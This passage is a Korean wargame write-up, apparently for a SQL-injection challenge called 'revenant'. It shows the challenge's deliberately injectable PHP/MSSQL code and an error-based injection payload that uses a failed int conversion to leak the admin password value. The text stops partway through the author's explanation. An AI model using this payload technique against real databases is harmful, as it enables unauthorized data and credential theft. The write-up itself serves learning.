지난 번과 비슷한 문제. 하나씩 차근하게 구해보자

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

row 1 // id : guest, pw : guest

이렇게 하면 나와야 하는데, 왜인지 모르지만 나오지 않았다.

마찬가지로, 테스트한 환경에서는 내가 의도한 대로 값을 뽑아낼 수 있었다.


결국 고민 끝에 아래의 쿼리로 답을 뽑아내었다.

select * from prob_revenant where id='guest' and pw='1' or 1=(case when id='admin' then convert(int,pw) end) -- g
// Conversion failed when converting the varchar value 'jsfa90retjkadsljfn4et' to data type int.

중요한 점은 왜 생각대로 쿼리가 동작하지 않는지이다.

가설을 세우기로는,,,, 1개라도 참인 쿼리가 있으면 더이상 쿼리가 동작하지 않는 듯하다.

그렇게 생각한 이유는 아래와 같다.